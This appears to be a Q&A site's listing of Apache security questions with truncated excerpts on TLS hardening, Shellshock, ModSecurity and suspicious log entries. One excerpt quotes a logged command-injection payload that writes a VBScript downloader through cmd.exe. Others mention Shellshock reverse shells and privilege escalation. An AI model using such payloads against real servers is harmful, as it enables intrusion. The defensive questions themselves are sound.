Questions about the security of Apache open source software, especially Apache HTTP Server

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19 views

What is the most effective way to block IP address in Application Layer? [migrated]

I understand that most Routers/Firewalls are able to block IP tables in the network level. IPtables for instance is quite effective. However, I want an application layer IP block.I have an HAproxy ...
-1
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0answers
20 views

Effects of Upgrading OpenSSL library? [on hold]

we are having a Redhat linux server network proxy server [Apache http] with openssl version standing on [jae@myserver~]$ openssl version OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008 I am planning to ...
0
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1answer
15 views

How secure is my rstudio setup? [on hold]

I am creating an Amazon EC2 instance to host an rstudio service. This service will be available through a reverse proxy through Apache server on port 443. I am a statistician and I am pretty ...
1
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2answers
49 views

ModSecurity is behaving funnily in apache2.4 on ubuntu 14.04

I am trying to put modsecurity in apache 2.4.7 a reverse proxy for a tomcat applcation. For a normal request it's throwing lots of logs about allowed methods even though the method used is get. [Wed ...
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0answers
13 views

TYPO3 installation and apache's DocumentRoot permissions [migrated]

I just installed TYPO3 7.1.0 and managed to resolve all the issues (e.g. missing system libraries, php-open_basedir-issue and so on) during and after the installation. But there is one issue that ...
1
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1answer
37 views

How to know an Apache web server mod_cgi module is enabled?

I am currently working on penetration test of a web site that uses an Apache HTTP server. To test a vulnerability which is related to mod_cgi module, I need to know whether this web site uses mod_cgi ...
1
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1answer
172 views

Completely getting rid of SSLv3 on Apache

Our security team is asking that we completely disable SSLv3 on some of our servers running Apache. I've used the SSLProtocol entry in the ssl.conf file (like SSLProtocol ALL -SSLv2 -SSLv3) and ...
1
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1answer
60 views

What are the traces of a mysql attack on a server when the attacker has full permissions?

I just turned my server off yesterday, after it began to distribute comment spam across the internet, at an astounding rate over 70 "spams"/min, bottom of the line 1/2 gig ram VPS. I'm still trying to ...
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0answers
17 views

No VirtualHost filter (a good practice?) [migrated]

I am trying to figure out the cons of a current setup and discovered a potential anomaly. There's a webpage hosted at (say) webpage.com. If I point my domain (say) mydomain.com to the raw IP of ...
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0answers
122 views

Does GHOST (CVE-2015-0235) affect tomcat 7 with Java Secure Sockets Extension SSL?

If your system has certain versions (2.2 - 2.17) of glibc then it has the GHOST vulnerability. However, an attacker who does not otherwise have access to your system cannot take advantage of that ...
2
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1answer
101 views

HTTP Host Header redirect traffic

Recently, I've seen periodic floods of traffic to my web servers with various Host headers that do not belong to us. The traffic appears to come primarily from China and a decent number seem to think ...
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1answer
157 views

Odd requests from Apache logs

I've been monitoring some weird activity in the access logs for my site and I've noticed a couple of weird attempts against the server. I'm wondering if anyone has seen these before. It's an Apache ...
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2answers
93 views

Path traversal exploit

I have an Apache server which seems to be vulnerable to Path traversal, because when I test This url : http://localhost/ati/../test.txt it will be changed to the this: http://localhost/test.txt and ...
0
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2answers
90 views

Protecting code injection via chattr on php files?

Recently, a website I hosted (wordpress I think) for a friend got hacked and all php pages had added code at the bottom in the form of "echo base64_encode(...);". Thus there were unwanted ads on very ...
0
votes
1answer
21 views

apache rewriterule htaccess security

If I configure an .htaccess like this : RewriteEngine On RewriteRule ^([^/]*)$ /view.php?key=$1 [L] Which transforms original URL http://www.test.com/view.php?key=123 rewritten URL ...
2
votes
1answer
84 views

Upload a file into directory with public write access

I know it is not right to set a permission for the folder as 777, but if it is done so will it be possible to upload a file into that directory without ftp access ? Here is what I mean Lets say the ...
0
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2answers
65 views

Security risk of using virtual hosts for public and internal sites

I have an Apache server which hosts a public website and an internal website. However, since Apache denotes virtual hosts based on the Host HTTP header, couldn't someone on the Internet request my ...
0
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0answers
46 views

Can't get my SSL CA to work with Apache

So I have an SSL enabled website running on Apache2. https://eamorr.com (I get a warning in my browser, as expected) I have a config file for this website at: ...
5
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2answers
443 views

Identifying an ongoing exploit?

Recently I was contacted by a person saying that they had found a vulnerability in my site. They were able to prove it, by sending me a list of my own databases (some of which had been created but ...
0
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1answer
334 views

is HttpOnly and Secure cookie enough to prevent CSRF in rest api?

I created one RESTful API using spring. I am transmitting a secret key as HttpOnly & Secure cookie with login response. After login every rest request will check with that cookie and update it ...
0
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2answers
163 views

cross-signed end-entity certificates: usage in apache/openssl/gnutls

A previous question, What is the use of cross signing certificates in X.509? described cross-signed certificates well. I have a situation where the clients trust CA1 xor CA2, and both need to reach a ...
1
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0answers
41 views

Kerberos based infrastructure with artifactory repo for our java artifcts with Apache reverse proxy and mod auth kerb. how can I access with gradle? [closed]

We recently migrated our company to a kerberos-based infrastructure. I successfully set up an Artifactory repo for our java artifacts, with Apache reverse proxy and mod_auth_kerb. How can I access ...
2
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2answers
416 views

Is it possible to exploit a file upload with whitelist and filename hashing?

I have a small web application. Because it is necessary to upload some files I check the file extensions with a whitelist (tgz, jpg, png, pdf, zip, rar, txt, gif, py, c, rb). In addition to that, I ...
1
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1answer
120 views

How does a browser choose which certificate to use if my web server has multiple certificates?

I'm using Apache 2.4, with two certificates, one RSA signed by CACert, and one ECC self-signed. Neither of these certificates provide a path to a broswer-trusted root certificate. My question is ...
2
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1answer
83 views

Why protect files with sensative information with .htacces?

I was taught that an important step to securing a website (primarily with PHP) was to store all sensitive information such as database connection info, salt generation, etc. in a separate ...
2
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1answer
163 views

Why Shellshock works in useragent string?

I was wondering why Shellshock works when put in the useragent. Based on what I could find it is because a web server (e.g Apache) uses the useragent string in its internal working. Why would a ...
2
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2answers
139 views

Writing errors to Apache's log file from PHP - are there any pitfalls?

I'm updating an application to write slightly more verbose errors to the system log file (in this case, /var/log/apache2/mysite_error_log). I hope that I'm not asking the proverbial stupid question ...
4
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2answers
47 views

Security benefits by loading modules statically in Apache server

In Apache httpd webserver there are two ways to load modules into the server, static and dynamic. There are some modules which must be loaded static, e.q. mod_so and core. The mod_so must be ...
2
votes
1answer
114 views

What is this strange GET request (GET /A0A32579-2767) DoSed my apache?

I have apache behind nginx on my webserver. Today my apache stops answering to requests. Investigations shows this situation: 1) Number of apache processes grows more that 500 but MaxChildren=256 in ...
6
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2answers
306 views

How can I explain to the client that rfc2385 TCP MD5 Checksums can't be turned on for linux webservers?

I've had a long running conversation with a client where they perform a Rapid7 security scan which then warns about TCP MD5 checksums missing on port 80. This is what I think I know: RFC 2385 was ...
2
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0answers
85 views

CRL check for TLS client certificate on Linux?

I run a web service. Clients authenticate using a TLS Client Certificate issued by a 3rd party CA. All certificates include the CRL distribution point, but do not support OCSP. How do I configure a ...
2
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3answers
105 views

Ping Input box on web server vulnerable to piped commands?

Scenario is this. I have logged into a web server as admin through the Login page in browser. it has displayed me with a home page of sorts that has an input box with a button next to it saying ...
1
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1answer
3k views

removing SSLv3 does not seem to fix POODLE problem [duplicate]

I have removed SSLv3 from my Apache 2.2.15 ssl.conf file with the line SSLProtocol All -SSLv2 -SSLv3 I have restarted httpd but POODLE tests still show vulnerability exists with POODLE. What else ...
3
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3answers
98 views

Is it dangerous for apache error_log to be writable?

I was reading an article about log files and referring to apache error log it mentioned that the logfiles should not be writeable by other users. How can this be dangerous? Is there a certain type of ...
4
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1answer
773 views

Logging out of Basic HTTP Authentication

As seen on https://stackoverflow.com/questions/233507/how-to-log-out-user-from-web-site-using-basic-authentication, there are some interesting ways of logging out a user from Basic HTTP ...
3
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1answer
920 views

Setup a quick web site vulnerable to Shellshock bash bug

Can anyone let me know the steps to setup a simple Hello World Apache (or other GNU/Linux) website that i can hit over 80 or 443 and exploit any bash CVE vuln; assuming I have a vulnerable bash. I ...
5
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2answers
1k views

Escalating from Apache shell to root

I have one noob question.I tried to exploit shellshock on my Slackware linux server, but after I connect with reverse shell and User Agent I get that I am apache user and apache user don't have too ...
7
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1answer
6k views

How to disable cipher RC4 in ubuntu 12.04

I have been doing Network Scan for our box and Ncircle reported SSL Server support RC4 ciphers for SSLv3. Based on that I did a search and I plan to add to /etc/apache/conf.d/security the following: ...
0
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1answer
329 views

suspicious http request in logs

I found this request in my Ubuntu 14.04 apache2 access.log: xxx.228.207.244 - - [25/Sep/2014:17:52:03 -0400] "GET ...
2
votes
1answer
79 views

securing /var/www with .htaccess

So I have a web directory running on a server and I want only people with the password to be able to get in. Is it possible to secure the web root with .htaccess? Is there any extra steps I need to ...
40
votes
4answers
31k views

How do I secure Apache against the Bash Shellshock vulnerability?

I have an Apache webserver running, and with the recent news of the Shellsock exploit against bash I was wondering if my webserver is vulnerable. I don't think it is, but I want to make sure I'm not ...
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1answer
398 views

Is this new hack attempt something to worry about?

- - [22/Sep/2014:13:54:24 -0600] "GET /?search==%00{.exec|cmd.exe +%2Fc +echo%3E22222.vbs +dim +wait%2Cquit%2Cout%3ASet +xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet +WshShell ...
2
votes
1answer
109 views

Apply SSL for domain that I do not own

As part of a project that my company is doing, we need to setup a development server. Let's say our company's main domain is example.com We need to be able to access the dev server through ...
0
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1answer
69 views

HTTPS enable for proxy server or web server

Say I have 2 separated servers which are one web server (apache) and one proxy server (nginx), I want to use HTTPS for the website running on the Apache. Do I enable SSL on apache or nginx or both? ...
1
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3answers
118 views

Not replacing SSL cert on a rebuilt, formerly rooted Unix Server

If a server was rooted, to the point that we know a Perl script which creates a remote shell was placed on the filesystem remotely, and the server was rebuilt entirely, patching the original Apache ...
1
vote
1answer
147 views

Securely send password to script as parameter

I have an expect script on my server which opens a WebDAV connection to another server, expects a username and password, and then sends $arg1 and $arg2 as the username and password respectively. ...
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0answers
125 views

Which OWASP modsecurity crs version to install on apache 2.2.22

Hello I am considering installing owasp mod_security crs on an ubuntu 12.04.4 which comes with apache 2.2.22. On the github page I have seen many version's but all tutorials were using 2.2.7 First I ...
0
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0answers
248 views

Current State of BREACH (GZIP SSL Attack)?

It has been one year since BREACH made our way into our hearts, and there does not seem to be any articles or posts or patches since then, is my Google-fu weakening? Has BREACH been mitigated or ...
0
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2answers
169 views

Apache Server Maintains HTTPS Connection To Mysterious Server (Hijacking?)

I've been on a shared webhosting plan for 10 years and I recently moved all of my sites (various WordPress sites and associated plugins, all in PHP, a MediaWiki site, and a lot of static stuff) to my ...
1
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0answers
33 views

Mysql Virtual IP and timeout

What are the risk that I encounter when increasing the timeout of a vip between a web server (apache) and mysql cluster (two servers). Actually it is set to 5 minutes. If time_out was 1hour, knowing ...